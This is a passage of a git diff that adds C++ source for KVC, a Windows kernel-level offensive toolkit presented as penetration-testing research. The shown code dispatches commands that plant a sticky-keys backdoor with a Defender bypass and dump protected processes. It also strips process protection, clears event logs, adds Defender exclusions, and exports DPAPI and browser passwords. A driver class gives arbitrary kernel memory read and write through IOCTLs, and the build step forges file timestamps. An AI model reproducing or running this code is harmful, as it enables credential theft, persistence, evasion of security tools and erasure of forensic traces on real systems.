IsServiceInstalled(); + const bool running = installed ? IsServiceRunning() : false; + + std::wcout << L"\n"; + INFO(L"Service Information:"); + INFO(L" Name: %s", ServiceManager::SERVICE_NAME); + INFO(L" Display Name: %s", ServiceManager::SERVICE_DISPLAY_NAME); + std::wcout << L"\n"; + + // Status display with appropriate color coding + if (installed) { + SUCCESS(L"Installation Status: INSTALLED"); + if (running) { + SUCCESS(L"Runtime Status: RUNNING"); + SUCCESS(L"Service is operational and ready for kernel operations"); + INFO(L"The service can be controlled via SCM or kvc commands"); + } else { + ERROR(L"Runtime Status: STOPPED"); + ERROR(L"Service is installed but not currently running"); + INFO(L"Use 'kvc service start' to start the service"); + } + } else { + ERROR(L"Installation Status: NOT INSTALLED"); + ERROR(L"Service is not installed on this system"); + INFO(L"Use 'kvc install' to install the service first"); + } + + std::wcout << L"\n"; + return 0; + } + else { + ERROR(L"Unknown service command: %s", serviceCmd.data()); + return 1; + } + } + + // Sticky keys backdoor management using IFEO technique + else if (command == L"shift") + { + INFO(L"Installing sticky keys backdoor with Defender bypass..."); + return g_controller->InstallStickyKeysBackdoor() ? 0 : 2; + } + + else if (command == L"unshift") + { + INFO(L"Removing sticky keys backdoor..."); + return g_controller->RemoveStickyKeysBackdoor() ? 0 : 2; + } + + // Memory dumping operations with automatic privilege escalation + else if (command == L"dump") + { + if (argc < 3) + { + ERROR(L"Missing PID/process name argument for dump command"); + return 1; + } + + std::wstring_view target = argv[2]; + std::wstring outputPath; + + // Use provided output path or default to Downloads folder + if (argc >= 4) + outputPath = argv[3]; + else + { + wchar_t* downloadsPath; + if (SHGetKnownFolderPath(FOLDERID_Downloads, 0, NULL, &downloadsPath) == S_OK) + { + outputPath = downloadsPath; + outputPath += L"\\"; + CoTaskMemFree(downloadsPath); + } + else + { + outputPath = L".\\"; + } + } + + // Handle numeric PID or process name with pattern matching + if (IsNumeric(target)) + { + auto pid = ParsePid(target); + if (!pid) + { + ERROR(L"Invalid PID format: %s", target.data()); + return 1; + } + return g_controller->DumpProcess(pid.value(), outputPath) ? 0 : 2; + } + else + { + std::wstring processName(target); + return g_controller->DumpProcessByName(processName, outputPath) ? 0 : 2; + } + } + + // Process information commands with color-coded output + else if (command == L"list") + { + return g_controller->ListProtectedProcesses() ? 0 : 2; + } + + else if (command == L"get") + { + if (argc < 3) + { + ERROR(L"Missing PID/process name argument for protection query"); + return 1; + } + + std::wstring_view target = argv[2]; + + if (IsNumeric(target)) + { + auto pid = ParsePid(target); + if (!pid) + { + ERROR(L"Invalid PID format: %s", target.data()); + return 1; + } + return g_controller->GetProcessProtection(pid.value()) ? 0 : 2; + } + else + { + std::wstring processName(target); + return g_controller->GetProcessProtectionByName(processName) ? 0 : 2; + } + } + + else if (command == L"info") + { + if (argc < 3) + { + ERROR(L"Missing PID/process name argument for detailed information"); + return 1; + } + + std::wstring_view target = argv[2]; + + DWORD targetPid = 0; + std::wstring targetProcessName; + bool protectionResult = false; + + // Get process info and analyze dumpability with comprehensive reporting + if (IsNumeric(target)) + { + auto pid = ParsePid(target); + if (!pid) + { + ERROR(L"Invalid PID format: %s", target.data()); + return 1; + } + targetPid = pid.value(); + targetProcessName = Utils::GetProcessName(targetPid); + protectionResult = g_controller->GetProcessProtection(targetPid); + } + else + { + targetProcessName = std::wstring(target); + auto match = g_controller->ResolveNameWithoutDriver(targetProcessName); + if (match) + { + targetPid = match->Pid; + targetProcessName = match->ProcessName; + protectionResult = g_controller->GetProcessProtection(targetPid); + } + else + { + return 2; + } + } + + // Additional dumpability analysis with detailed reasoning + if (protectionResult && targetPid != 0) + { + auto dumpability = Utils::CanDumpProcess(targetPid, targetProcessName); + + if (dumpability.CanDump) + { + SUCCESS(L"Process is dumpable: %s", dumpability.Reason.c_str()); + } + else + { + ERROR(L"Process is NOT dumpable: %s", dumpability.Reason.c_str()); + } + } + + return protectionResult ? 0 : 2; + } + + // Event log clearing with administrative privileges + else if (command == L"evtclear") + { + return g_controller->ClearSystemEventLogs() ? 0 : 2; + } + + // Process protection commands with atomic driver operations + else if (command == L"set" || command == L"protect") + { + if (argc < 5) + { + ERROR(L"Missing arguments: "); + return 1; + } + + std::wstring_view target = argv[2]; + std::wstring level = argv[3]; + std::wstring signer = argv[4]; + + bool result = false; + + if (IsNumeric(target)) + { + auto pid = ParsePid(target); + if (!pid) + { + ERROR(L"Invalid PID format: %s", target.data()); + return 1; + } + + // 'set' forces protection regardless of current state, 'protect' only protects unprotected processes + result = (command == L"set") ? + g_controller->SetProcessProtection(pid.value(), level, signer) : + g_controller->ProtectProcess(pid.value(), level, signer); + } + else + { + std::wstring processName(target); + + result = (command == L"set") ? + g_controller->SetProcessProtectionByName(processName, level, signer) : + g_controller->ProtectProcessByName(processName, level, signer); + } + + return result ? 0 : 2; + } + + else if (command == L"unprotect") + { + if (argc < 3) + { + ERROR(L"Missing PID/process name argument for unprotection"); + return 1; + } + + std::wstring_view target = argv[2]; + + // Handle special 'all' keyword for mass unprotection + if (target == L"all") + { + return g_controller->UnprotectAllProcesses() ? 0 : 2; + } + + // Handle comma-separated list of targets for batch operations + std::wstring targetStr(target); + if (targetStr.find(L',') != std::wstring::npos) + { + std::vector targets; + std::wstring current; + + // Parse comma-separated targets with whitespace handling + for (wchar_t ch : targetStr) + { + if (ch == L',') + { + if (!current.empty()) + { + targets.push_back(current); + current.clear(); + } + } + else if (ch != L' ' && ch != L'\t') + { + current += ch; + } + } + + if (!current.empty()) + targets.push_back(current); + + return g_controller->UnprotectMultipleProcesses(targets) ? 0 : 2; + } + + // Handle single target (PID or process name) + if (IsNumeric(target)) + { + auto pid = ParsePid(target); + if (!pid) + { + ERROR(L"Invalid PID format: %s", target.data()); + return 1; + } + return g_controller->UnprotectProcess(pid.value()) ? 0 : 2; + } + else + { + std::wstring processName(target); + return g_controller->UnprotectProcessByName(processName) ? 0 : 2; + } + } + + // System integration commands with TrustedInstaller privileges + else if (command == L"trusted") + { + if (argc < 3) + { + ERROR(L"Missing command argument for elevated execution"); + return 1; + } + + // Combine all remaining arguments into full command with proper escaping + std::wstring fullCommand; + for (int i = 2; i < argc; i++) + { + if (i > 2) fullCommand += L" "; + fullCommand += argv[i]; + } + + return g_controller->RunAsTrustedInstaller(fullCommand) ? 0 : 2; + } + + else if (command == L"install-context") + { + return g_controller->AddContextMenuEntries() ? 0 : 1; + } + + // Enhanced Windows Defender exclusion management with type specification + else if (command == L"add-exclusion") + { + if (argc < 3) { + ERROR(L"Missing arguments for exclusion. Usage: add-exclusion [TYPE] or add-exclusion "); + return 1; + } + + // New syntax with type specification: kvc add-exclusion Processes malware.exe + if (argc >= 4) { + std::wstring_view typeStr = argv[2]; + std::wstring value = argv[3]; + + auto exclusionType = ParseExclusionType(typeStr); + if (!exclusionType) { + ERROR(L"Invalid exclusion type: %s. Valid types: Paths, Processes, Extensions, IpAddresses", typeStr.data()); + return 1; + } + + return g_controller->AddDefenderExclusion(exclusionType.value(), value) ? 0 : 1; + } + // Legacy syntax for backward compatibility: kvc add-exclusion C:\file.exe + else { + std::wstring filePath = argv[2]; + return g_controller->AddToDefenderExclusions(filePath) ? 0 : 1; + } + } + + else if (command == L"remove-exclusion") + { + if (argc < 3) { + ERROR(L"Missing arguments for exclusion removal. Usage: remove-exclusion [TYPE] or remove-exclusion "); + return 1; + } + + // New syntax with type specification: kvc remove-exclusion Processes malware.exe + if (argc >= 4) { + std::wstring_view typeStr = argv[2]; + std::wstring value = argv[3]; + + auto exclusionType = ParseExclusionType(typeStr); + if (!exclusionType) { + ERROR(L"Invalid exclusion type: %s. Valid types: Paths, Processes, Extensions, IpAddresses", typeStr.data()); + return 1; + } + + return g_controller->RemoveDefenderExclusion(exclusionType.value(), value) ? 0 : 1; + } + // Legacy syntax for backward compatibility: kvc remove-exclusion C:\file.exe + else { + std::wstring filePath = argv[2]; + return g_controller->RemoveFromDefenderExclusions(filePath) ? 0 : 1; + } + } + + // DPAPI secrets extraction commands with comprehensive browser support + else if (command == L"export") + { + if (argc < 3) + { + ERROR(L"Missing subcommand for export. Usage: export secrets [output_path]"); + return 1; + } + + std::wstring_view subCommand = argv[2]; + + if (subCommand == L"secrets") + { + std::wstring outputPath; + + // Use provided output path or default to Downloads folder + if (argc >= 4) + { + outputPath = argv[3]; + } + else + { + wchar_t* downloadsPath; + if (SHGetKnownFolderPath(FOLDERID_Downloads, 0, NULL, &downloadsPath) == S_OK) + { + outputPath = downloadsPath; + CoTaskMemFree(downloadsPath); + } + else + { + outputPath = L".\\"; + } + } + + INFO(L"Exporting secrets using TrustedInstaller privileges..."); + return g_controller->ShowPasswords(outputPath) ? 0 : 2; + } + else + { + ERROR(L"Unknown export subcommand: %s. Available: secrets", subCommand.data()); + return 1; + } + } + + // Browser passwords extraction with kvc_pass integration + else if (command == L"browser-passwords" || command == L"bp") + { + std::wstring browserType = L"chrome"; // Default to Chrome + std::wstring outputPath = L"."; // Current directory + + // Parse arguments + for (int i = 2; i < argc; i++) { + std::wstring arg = argv[i]; + if (arg == L"--chrome") { + browserType = L"chrome"; + } else if (arg == L"--brave") { + browserType = L"brave"; + } else if (arg == L"--edge") { + browserType = L"edge"; + } else if (arg == L"--output" || arg == L"-o") { + if (i + 1 < argc) { + outputPath = argv[++i]; + } else { + ERROR(L"Missing path for --output argument"); + return 1; + } + } else { + ERROR(L"Unknown argument: %s", arg.c_str()); + return 1; + } + } + + if (browserType == L"edge") { + // First run kvc_pass (cookies / logins) + if (!g_controller->ExportBrowserData(outputPath, browserType)) { + ERROR(L"Failed to export Edge cookies/logins"); + } + + // Then run DPAPI (KVC) – Edge passwords from registry + INFO(L"Extracting Edge passwords via KVC DPAPI..."); + g_controller->ShowPasswords(outputPath); + + return 0; + } else { + // Chrome, Brave – only kvc_pass + if (!g_controller->ExportBrowserData(outputPath, browserType)) { + ERROR(L"Failed to export browser passwords"); + return 1; + } + return 0; + } + } + + // Combined binary processing - decrypt and deploy kvc.dat components + else if (command == L"setup") + { + INFO(L"Loading and processing kvc.dat combined binary..."); + return g_controller->LoadAndSplitCombinedBinaries() ? 0 : 2; + } + + + else + { + ERROR(L"Unknown command: %s", command.data()); + HelpSystem::PrintUsage(argv[0]); + return 1; + } + } + catch (const std::exception& e) + { + std::string msg = e.what(); + std::wstring wmsg(msg.begin(), msg.end()); + ERROR(L"Exception occurred: %s", wmsg.c_str()); + CleanupDriver(); + return 3; + } + catch (...) + { + ERROR(L"Unknown exception occurred during execution"); + CleanupDriver(); + return 3; + } + + CleanupDriver(); + return 0; +} + +// Emergency cleanup for driver resources +void CleanupDriver() noexcept +{ + if (g_controller) + { + g_controller->StopDriverService(); + } +} + +// Robust PID parsing with validation +std::optional ParsePid(std::wstring_view pidStr) noexcept +{ + if (pidStr.empty()) return std::nullopt; + + // Convert wide string to narrow for std::from_chars + std::string narrowStr; + narrowStr.reserve(pidStr.size()); + + for (wchar_t wc : pidStr) + { + if (wc > 127) return std::nullopt; // Non-ASCII character + narrowStr.push_back(static_cast(wc)); + } + + DWORD result = 0; + auto [ptr, ec] = std::from_chars(narrowStr.data(), + narrowStr.data() + narrowStr.size(), + result); + + return (ec == std::errc{} && ptr == narrowStr.data() + narrowStr.size()) ? + std::make_optional(result) : std::nullopt; +} + +// Check if string contains only digits +bool IsNumeric(std::wstring_view str) noexcept +{ + if (str.empty()) return false; + + for (wchar_t ch : str) + { + if (ch < L'0' || ch > L'9') + return false; + } + + return true; +} + +// Recognize various help flag formats +bool IsHelpFlag(std::wstring_view arg) noexcept +{ + if (arg == L"/?" || arg == L"/help" || arg == L"/h") + return true; + + if (arg == L"-?" || arg == L"-help" || arg == L"-h") + return true; + + if (arg == L"--help" || arg == L"--h") + return true; + + if (arg == L"help" || arg == L"?") + return true; + + return false; +} \ No newline at end of file diff --git a/kvc/Kvc.manifest b/kvc/Kvc.manifest new file mode 100644 index 0000000..4ce9348 --- /dev/null +++ b/kvc/Kvc.manifest @@ -0,0 +1,11 @@ + + + CMD as TI + + + + + + + + diff --git a/kvc/Kvc.rc b/kvc/Kvc.rc new file mode 100644 index 0000000..f7952ef Binary files /dev/null and b/kvc/Kvc.rc differ diff --git a/kvc/Kvc.vcxproj b/kvc/Kvc.vcxproj new file mode 100644 index 0000000..1fd4fd3 --- /dev/null +++ b/kvc/Kvc.vcxproj @@ -0,0 +1,153 @@ + + + + + Release + x64 + + + + + 17.0 + Win32Proj + {4f3de11e-c54a-4dc1-ae8f-c29a720694cc} + kvc + 10.0 + v143 + + + + + + Application + false + v143 + true + Unicode + false + false + + + + + + + + + + + + + + + + false + $(SolutionDir)bin\$(Platform)\$(Configuration)\ + $(SolutionDir)obj\$(Platform)\$(Configuration)\$(ProjectName)\ + + + + 1756665900 + + + + + Level3 + true + true + false + NDEBUG;_CONSOLE;WIN32_LEAN_AND_MEAN;NOMINMAX;%(PreprocessorDefinitions) + true + stdcpplatest + latest + false + false + /utf-8 /GS- /Gy /Gw /Brepro %(AdditionalOptions) + MultiThreadedDLL + Sync + false + false + true + true + false + 4996;4117 + MaxSpeed + true + Speed + true + false + + + Console + true + true + false + HighestAvailable + kernel32.lib;user32.lib;psapi.lib;advapi32.lib;%(AdditionalDependencies) + /OPT:REF /OPT:ICF /MERGE:.rdata=.text /NXCOMPAT /Brepro %(AdditionalOptions) + UseLinkTimeCodeGeneration + true + true + MachineX64 + false + true + true + true + + + powershell -Command "& {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}" + + + 0x0409 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kvc/Kvc.vcxproj.filters b/kvc/Kvc.vcxproj.filters new file mode 100644 index 0000000..ea5272c --- /dev/null +++ b/kvc/Kvc.vcxproj.filters @@ -0,0 +1,97 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942} + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files\Controller + + + Source Files\Controller + + + Source Files\Controller + + + Source Files\Controller + + + Source Files\Controller + + + Source Files\Controller + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + + + Resource Files + + + + + Resource Files + + + \ No newline at end of file diff --git a/kvc/Kvc.vcxproj.user b/kvc/Kvc.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/kvc/Kvc.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/kvc/KvcDrv.cpp b/kvc/KvcDrv.cpp new file mode 100644 index 0000000..7be9443 --- /dev/null +++ b/kvc/KvcDrv.cpp @@ -0,0 +1,169 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +// KvcDrv.cpp +#include "kvcDrv.h" +#include "common.h" +#include + +// IOCTL command codes for KVC driver communication +constexpr DWORD RTC_IOCTL_MEMORY_READ = 0x80002048; +constexpr DWORD RTC_IOCTL_MEMORY_WRITE = 0x8000204c; + +kvc::kvc() = default; + +kvc::~kvc() { + Cleanup(); +} + +// Force cleanup for atomic driver operations - critical for stability +void kvc::Cleanup() noexcept { + DEBUG(L"kvc::Cleanup() called"); + + if (m_deviceHandle) { + DEBUG(L"Closing device handle..."); + // Force the handle to close + FlushFileBuffers(m_deviceHandle.get()); + m_deviceHandle.reset(); // This should close the handle + } + + m_deviceName.clear(); + DEBUG(L"kvc cleanup completed"); +} + +bool kvc::IsConnected() const noexcept { + return m_deviceHandle && m_deviceHandle.get() != INVALID_HANDLE_VALUE; +} + +// Driver connection establishment with device path +bool kvc::Initialize() noexcept { + if (IsConnected()) { + return true; + } + + if (m_deviceName.empty()) { + m_deviceName = L"\\\\.\\" + GetServiceName(); + } + + if (!InitDynamicAPIs()) return false; + + // SIMPLE DEVICE OPEN - without test operations + HANDLE rawHandle = g_pCreateFileW(m_deviceName.c_str(), + GENERIC_READ | GENERIC_WRITE, + 0, nullptr, OPEN_EXISTING, 0, nullptr); + + if (rawHandle == INVALID_HANDLE_VALUE) { + return false; // Silently fail - this is normal when the driver is not running + } + + m_deviceHandle = UniqueHandle(rawHandle); + return true; +} + +// Memory read operations with type safety +std::optional kvc::Read8(ULONG_PTR address) noexcept { + auto value = Read32(address); + if (!value.has_value()) return std::nullopt; + return static_cast(value.value() & 0xff); +} + +std::optional kvc::Read16(ULONG_PTR address) noexcept { + auto value = Read32(address); + if (!value.has_value()) return std::nullopt; + return static_cast(value.value() & 0xffff); +} + +std::optional kvc::Read32(ULONG_PTR address) noexcept { + return Read(address, sizeof(DWORD)); +} + +std::optional kvc::Read64(ULONG_PTR address) noexcept { + auto low = Read32(address); + auto high = Read32(address + 4); + + if (!low || !high) return std::nullopt; + + return (static_cast(high.value()) << 32) | low.value(); +} + +std::optional kvc::ReadPtr(ULONG_PTR address) noexcept { +#ifdef _WIN64 + auto value = Read64(address); + if (!value.has_value()) return std::nullopt; + return static_cast(value.value()); +#else + auto value = Read32(address); + if (!value.has_value()) return std::nullopt; + return static_cast(value.value()); +#endif +} + +// Memory write operations with type safety +bool kvc::Write8(ULONG_PTR address, BYTE value) noexcept { + return Write(address, sizeof(value), value); +} + +bool kvc::Write16(ULONG_PTR address, WORD value) noexcept { + return Write(address, sizeof(value), value); +} + +bool kvc::Write32(ULONG_PTR address, DWORD value) noexcept { + return Write(address, sizeof(value), value); +} + +bool kvc::Write64(ULONG_PTR address, DWORD64 value) noexcept { + DWORD low = static_cast(value & 0xffffffff); + DWORD high = static_cast((value >> 32) & 0xffffffff); + return Write32(address, low) && Write32(address + 4, high); +} + +// Low-level driver communication via IOCTL +std::optional kvc::Read(ULONG_PTR address, DWORD valueSize) noexcept { + RTC_MEMORY_READ memoryRead{}; + memoryRead.Address = address; + memoryRead.Size = valueSize; + + if (!Initialize()) return std::nullopt; + + DWORD bytesReturned = 0; + if (!DeviceIoControl(m_deviceHandle.get(), RTC_IOCTL_MEMORY_READ, + &memoryRead, sizeof(memoryRead), &memoryRead, sizeof(memoryRead), &bytesReturned, nullptr)) + return std::nullopt; + + return memoryRead.Value; +} + +bool kvc::Write(ULONG_PTR address, DWORD valueSize, DWORD value) noexcept { + RTC_MEMORY_WRITE memoryWrite{}; + memoryWrite.Address = address; + memoryWrite.Size = valueSize; + memoryWrite.Value = value; + + if (!Initialize()) return false; + + DWORD bytesReturned = 0; + return DeviceIoControl(m_deviceHandle.get(), RTC_IOCTL_MEMORY_WRITE, + &memoryWrite, sizeof(memoryWrite), &memoryWrite, sizeof(memoryWrite), &bytesReturned, nullptr); +} \ No newline at end of file diff --git a/kvc/KvcDrv.h b/kvc/KvcDrv.h new file mode 100644 index 0000000..9ec0bef --- /dev/null +++ b/kvc/KvcDrv.h @@ -0,0 +1,77 @@ +#pragma once + +#include "common.h" +#include +#include + +// KVC driver communication structures with proper alignment +struct alignas(8) RTC_MEMORY_READ +{ + BYTE Pad0[8]; // Alignment padding + DWORD64 Address; // Target memory address + BYTE Pad1[8]; // Additional padding + DWORD Size; // Bytes to read + DWORD Value; // Returned value + BYTE Pad3[16]; // Final padding +}; + +struct alignas(8) RTC_MEMORY_WRITE +{ + BYTE Pad0[8]; // Alignment padding + DWORD64 Address; // Target memory address + BYTE Pad1[8]; // Additional padding + DWORD Size; // Bytes to write + DWORD Value; // Value to write + BYTE Pad3[16]; // Final padding +}; + +// Kernel memory operations interface via KVC driver +class kvc +{ +public: + kvc(); + ~kvc(); + + kvc(const kvc&) = delete; + kvc& operator=(const kvc&) = delete; + kvc(kvc&&) noexcept = default; + kvc& operator=(kvc&&) noexcept = default; + + // Driver connection management + bool Initialize() noexcept; + void Cleanup() noexcept; + bool IsConnected() const noexcept; + + // Memory read operations with type safety + std::optional Read8(ULONG_PTR address) noexcept; + std::optional Read16(ULONG_PTR address) noexcept; + std::optional Read32(ULONG_PTR address) noexcept; + std::optional Read64(ULONG_PTR address) noexcept; + std::optional ReadPtr(ULONG_PTR address) noexcept; + + // Memory write operations with type safety + bool Write8(ULONG_PTR address, BYTE value) noexcept; + bool Write16(ULONG_PTR address, WORD value) noexcept; + bool Write32(ULONG_PTR address, DWORD value) noexcept; + bool Write64(ULONG_PTR address, DWORD64 value) noexcept; + +private: + // Smart handle wrapper for automatic cleanup + struct HandleDeleter + { + void operator()(HANDLE handle) const noexcept + { + if (handle && handle != INVALID_HANDLE_VALUE) + CloseHandle(handle); + } + }; + + using UniqueHandle = std::unique_ptr, HandleDeleter>; + + std::wstring m_deviceName; // Driver device name + UniqueHandle m_deviceHandle; // Handle to driver device + + // Low-level communication via IOCTL + std::optional Read(ULONG_PTR address, DWORD valueSize) noexcept; + bool Write(ULONG_PTR address, DWORD valueSize, DWORD value) noexcept; +}; \ No newline at end of file diff --git a/kvc/OffsetFinder.cpp b/kvc/OffsetFinder.cpp new file mode 100644 index 0000000..81fea02 --- /dev/null +++ b/kvc/OffsetFinder.cpp @@ -0,0 +1,244 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +// OffsetFinder.cpp +#include "OffsetFinder.h" +#include "Utils.h" +#include "common.h" +#include + +namespace { + // Safe offset extraction with validation to prevent crashes + std::optional SafeExtractWord(const void* base, size_t byteOffset) noexcept + { + if (!base) return std::nullopt; + + WORD value = 0; + __try { + std::memcpy(&value, reinterpret_cast(base) + byteOffset, sizeof(value)); + } + __except (EXCEPTION_EXECUTE_HANDLER) { + return std::nullopt; + } + + // Sanity check - offsets should be reasonable for EPROCESS structure + if (value == 0 || value > 0x3000) { + return std::nullopt; + } + + return value; + } +} + +// Initialize offset finder with kernel image analysis +OffsetFinder::OffsetFinder() +{ + HMODULE rawModule = LoadLibraryW(L"ntoskrnl.exe"); + m_kernelModule = ModuleHandle(rawModule); + + if (!m_kernelModule) { + ERROR(L"OffsetFinder: Failed to load kernel image (error: %d) - verify administrator privileges", GetLastError()); + } +} + +OffsetFinder::~OffsetFinder() = default; + +std::optional OffsetFinder::GetOffset(Offset name) const noexcept +{ + if (auto it = m_offsetMap.find(name); it != m_offsetMap.end()) + return it->second; + return std::nullopt; +} + +// Master offset discovery in dependency order +bool OffsetFinder::FindAllOffsets() noexcept +{ + return FindKernelPsInitialSystemProcessOffset() && + FindProcessUniqueProcessIdOffset() && + FindProcessProtectionOffset() && + FindProcessActiveProcessLinksOffset() && + FindProcessSignatureLevelOffset() && + FindProcessSectionSignatureLevelOffset(); +} + +// PsInitialSystemProcess export location discovery +bool OffsetFinder::FindKernelPsInitialSystemProcessOffset() noexcept +{ + if (m_offsetMap.contains(Offset::KernelPsInitialSystemProcess)) + return true; + + if (!m_kernelModule) { + ERROR(L"Cannot find PsInitialSystemProcess - kernel image not loaded"); + return false; + } + + auto pPsInitialSystemProcess = reinterpret_cast( + GetProcAddress(m_kernelModule.get(), "PsInitialSystemProcess")); + + if (!pPsInitialSystemProcess) { + ERROR(L"PsInitialSystemProcess export not found (error: %d)", GetLastError()); + + // Test if other exports are accessible + if (GetProcAddress(m_kernelModule.get(), "PsGetProcessId")) { + ERROR(L"Other kernel exports accessible - partial export table issue"); + } else { + ERROR(L"No kernel exports accessible - incompatible kernel image"); + } + return false; + } + + DWORD offset = static_cast(pPsInitialSystemProcess - reinterpret_cast(m_kernelModule.get())); + + // Sanity check for reasonable offset range + if (offset < 0x1000 || offset > 0x2000000) { + ERROR(L"PsInitialSystemProcess offset 0x%x outside reasonable range", offset); + return false; + } + + m_offsetMap[Offset::KernelPsInitialSystemProcess] = offset; + SUCCESS(L"Found PsInitialSystemProcess offset: 0x%x", offset); + return true; +} + +// ActiveProcessLinks follows UniqueProcessId in EPROCESS structure +bool OffsetFinder::FindProcessActiveProcessLinksOffset() noexcept +{ + if (m_offsetMap.contains(Offset::ProcessActiveProcessLinks)) + return true; + + if (!m_offsetMap.contains(Offset::ProcessUniqueProcessId)) + return false; + + // ActiveProcessLinks is always sizeof(HANDLE) bytes after UniqueProcessId + WORD offset = static_cast(m_offsetMap[Offset::ProcessUniqueProcessId] + sizeof(HANDLE)); + m_offsetMap[Offset::ProcessActiveProcessLinks] = offset; + return true; +} + +// UniqueProcessId offset extraction from PsGetProcessId function +bool OffsetFinder::FindProcessUniqueProcessIdOffset() noexcept +{ + if (m_offsetMap.contains(Offset::ProcessUniqueProcessId)) + return true; + + if (!m_kernelModule) + return false; + + FARPROC pPsGetProcessId = GetProcAddress(m_kernelModule.get(), "PsGetProcessId"); + if (!pPsGetProcessId) { + ERROR(L"PsGetProcessId export not found (error: %d)", GetLastError()); + return false; + } + + // Extract offset from function disassembly + std::optional offset; +#ifdef _WIN64 + // mov rax, [rcx+offset] - offset at bytes 3-4 + offset = SafeExtractWord(pPsGetProcessId, 3); +#else + // mov eax, [ecx+offset] - offset at bytes 2-3 + offset = SafeExtractWord(pPsGetProcessId, 2); +#endif + + if (!offset) { + ERROR(L"Failed to extract UniqueProcessId offset from PsGetProcessId function"); + return false; + } + + // Sanity check for EPROCESS structure size + if (offset.value() > 0x1500) { + ERROR(L"UniqueProcessId offset 0x%x appears too large for EPROCESS", offset.value()); + return false; + } + + m_offsetMap[Offset::ProcessUniqueProcessId] = offset.value(); + SUCCESS(L"Found UniqueProcessId offset: 0x%x", offset.value()); + return true; +} + +// Process protection offset validation using dual function analysis +bool OffsetFinder::FindProcessProtectionOffset() noexcept +{ + if (m_offsetMap.contains(Offset::ProcessProtection)) + return true; + + if (!m_kernelModule) + return false; + + FARPROC pPsIsProtectedProcess = GetProcAddress(m_kernelModule.get(), "PsIsProtectedProcess"); + FARPROC pPsIsProtectedProcessLight = GetProcAddress(m_kernelModule.get(), "PsIsProtectedProcessLight"); + + if (!pPsIsProtectedProcess || !pPsIsProtectedProcessLight) { + ERROR(L"Protection function exports not found in kernel image"); + return false; + } + + // Both functions should reference the same offset + auto offsetA = SafeExtractWord(pPsIsProtectedProcess, 2); + auto offsetB = SafeExtractWord(pPsIsProtectedProcessLight, 2); + + if (!offsetA || !offsetB) { + ERROR(L"Failed to extract offsets from protection validation functions"); + return false; + } + + // Cross-validation - both functions must agree + if (offsetA.value() != offsetB.value() || offsetA.value() > 0x1500) { + ERROR(L"Protection offset validation failed: A=0x%x, B=0x%x", offsetA.value(), offsetB.value()); + return false; + } + + m_offsetMap[Offset::ProcessProtection] = offsetA.value(); + SUCCESS(L"Found ProcessProtection offset: 0x%x", offsetA.value()); + return true; +} + +// SignatureLevel precedes Protection field by 2 bytes +bool OffsetFinder::FindProcessSignatureLevelOffset() noexcept +{ + if (m_offsetMap.contains(Offset::ProcessSignatureLevel)) + return true; + + if (!m_offsetMap.contains(Offset::ProcessProtection)) + return false; + + WORD offset = static_cast(m_offsetMap[Offset::ProcessProtection] - (2 * sizeof(UCHAR))); + m_offsetMap[Offset::ProcessSignatureLevel] = offset; + return true; +} + +// SectionSignatureLevel precedes Protection field by 1 byte +bool OffsetFinder::FindProcessSectionSignatureLevelOffset() noexcept +{ + if (m_offsetMap.contains(Offset::ProcessSectionSignatureLevel)) + return true; + + if (!m_offsetMap.contains(Offset::ProcessProtection)) + return false; + + WORD offset = static_cast(m_offsetMap[Offset::ProcessProtection] - sizeof(UCHAR)); + m_offsetMap[Offset::ProcessSectionSignatureLevel] = offset; + return true; +} \ No newline at end of file diff --git a/kvc/OffsetFinder.h b/kvc/OffsetFinder.h new file mode 100644 index 0000000..d6c02d9 --- /dev/null +++ b/kvc/OffsetFinder.h @@ -0,0 +1,56 @@ +#pragma once + +#include "common.h" +#include +#include +#include + +// Windows kernel 